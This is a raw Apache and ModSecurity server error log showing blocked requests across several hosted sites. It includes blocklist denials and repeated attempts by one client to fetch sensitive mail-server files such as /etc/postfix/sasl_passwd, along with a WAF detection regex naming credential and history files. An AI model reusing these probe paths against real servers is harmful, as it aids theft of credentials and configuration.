succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-login.php"] [unique_id "ai3yfimiP80klyS0NnomyQABWjk"] [Sat Jun 13 18:14:54.223185 2026] [security2:error] [pid 531155:tid 531282] [remote 17.22.237.74:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 74.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yfimiP80klyS0Nnom1gABV34"] [Sat Jun 13 18:14:54.273175 2026] [security2:error] [pid 531155:tid 531238] [remote 139.59.150.41:34558] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.150.59.139.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-login.php"] [unique_id "ai3yfimiP80klyS0Nnom3QABUlI"], referer: https://nelsonfarmstn.com/wp-login.php [Sat Jun 13 18:14:54.555567 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:14:54.556029 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:14:54.825218 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.8:45201] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:54.825500 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.8:45201] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:54.971868 2026] [security2:error] [pid 531155:tid 531212] [remote 17.22.253.173:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 173.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yfimiP80klyS0NnonBAABTjg"] [Sat Jun 13 18:14:55.050094 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.27:30918] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:55.050474 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.27:30918] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:55.050616 2026] [security2:error] [pid 531155:tid 531187] [remote 17.246.15.39:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yfymiP80klyS0NnonDgABbB8"] [Sat Jun 13 18:14:55.074458 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:14:55.074765 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:14:55.363481 2026] [security2:error] [pid 531155:tid 531204] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/nginx/conf.d/mail.conf"] [unique_id "ai3yfymiP80klyS0NnonIwABDDA"] [Sat Jun 13 18:14:55.472906 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.66:37068] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:55.473265 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.66:37068] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:55.495239 2026] [security2:error] [pid 531155:tid 531230] [remote 17.241.227.220:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 220.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yfymiP80klyS0NnonKAABOko"] [Sat Jun 13 18:14:55.496304 2026] [security2:error] [pid 531155:tid 531197] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/postfix/main.cf"] [unique_id "ai3yfymiP80klyS0NnonKQABDik"] [Sat Jun 13 18:14:55.571413 2026] [security2:error] [pid 531155:tid 531207] [remote 17.246.23.250:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 250.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yfymiP80klyS0NnonLQABEDM"] [Sat Jun 13 18:14:55.628639 2026] [security2:error] [pid 531155:tid 531193] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/postfix/sasl_passwd"] [unique_id "ai3yfymiP80klyS0NnonMwABVCU"] [Sat Jun 13 18:14:55.635664 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvZGV2aWNlL2V2ZW50NA== [Sat Jun 13 18:14:55.635937 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvZGV2aWNlL2V2ZW50NA== [Sat Jun 13 18:14:55.871949 2026] [http2:info] [pid 646876:tid 646876] h2_workers: created with min=128 max=192 idle_ms=600000 [Sat Jun 13 18:14:55.935078 2026] [access_compat:error] [pid 646876:tid 646892] [remote 57.141.14.106:37563] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:55.935510 2026] [access_compat:error] [pid 646876:tid 646892] [remote 57.141.14.106:37563] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:56.017711 2026] [security2:error] [pid 646876:tid 646898] [remote 17.22.245.45:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 45.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ygNyTkdrNlD40tSGZdwAAExM"] [Sat Jun 13 18:14:56.042010 2026] [security2:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/postfix/transport"] [unique_id "ai3ygNyTkdrNlD40tSGZeQAAERU"] [Sat Jun 13 18:14:56.106094 2026] [security2:error] [pid 646876:tid 646902] [remote 17.22.237.78:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 78.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ygNyTkdrNlD40tSGZewAAIRc"] [Sat Jun 13 18:14:56.174618 2026] [security2:error] [pid 646876:tid 646909] [remote 185.177.72.9:2714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/postfix/master.cf"] [unique_id "ai3ygNyTkdrNlD40tSGZggAAMh4"] [Sat Jun 13 18:14:56.249177 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:14:56.249629 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:14:56.307993 2026] [security2:error] [pid 646876:tid 646929] [remote 185.177.72.9:2714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/postfix/generic"] [unique_id "ai3ygNyTkdrNlD40tSGZlgAARTI"] [Sat Jun 13 18:14:56.441222 2026] [security2:error] [pid 646876:tid 646936] [remote 185.177.72.9:2714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/ssmtp/ssmtp.conf"] [unique_id "ai3ygNyTkdrNlD40tSGZoAAAWTk"] [Sat Jun 13 18:14:56.527551 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.29:45141] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:56.528055 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.29:45141] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:56.574331 2026] [security2:error] [pid 646876:tid 646946] [remote 185.177.72.9:2714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/msmtp/msmtp.conf"] [unique_id "ai3ygNyTkdrNlD40tSGZqwAAaUM"] [Sat Jun 13 18:14:56.657449 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.107:50441] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:56.657922 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.107:50441] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:56.680659 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:14:56.680944 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:14:56.707402 2026] [security2:error] [pid 646876:tid 646954] [remote 185.177.72.9:2714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/mail/sendmail.cf"] [unique_id "ai3ygNyTkdrNlD40tSGZswAAd0s"] [Sat Jun 13 18:14:56.840971 2026] [security2:error] [pid 646876:tid 646965] [remote 185.177.72.9:2714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/exim4/update-exim4.conf"] [unique_id "ai3ygNyTkdrNlD40tSGZvwAAFVY"] [Sat Jun 13 18:14:56.874305 2026] [access_compat:error] [pid 646876:tid 646966] [remote 57.141.14.106:37569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:56.874766 2026] [access_compat:error] [pid 646876:tid 646966] [remote 57.141.14.106:37569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:56.974344 2026] [security2:error] [pid 646876:tid 646971] [remote 185.177.72.9:2714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/nullmailer/remotes"] [unique_id "ai3ygNyTkdrNlD40tSGZywAANVw"] [Sat Jun 13 18:14:56.996984 2026] [access_compat:error] [pid 646876:tid 646974] [remote 57.141.14.53:53926] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:56.997447 2026] [access_compat:error] [pid 646876:tid 646974] [remote 57.141.14.53:53926] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:56.998223 2026] [access_compat:error] [pid 646876:tid 646973] [remote 57.141.14.73:39010] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:56.998571 2026] [access_compat:error] [pid 646876:tid 646973] [remote 57.141.14.73:39010] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:57.052959 2026] [security2:error] [pid 646876:tid 646975] [remote 17.22.245.39:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] 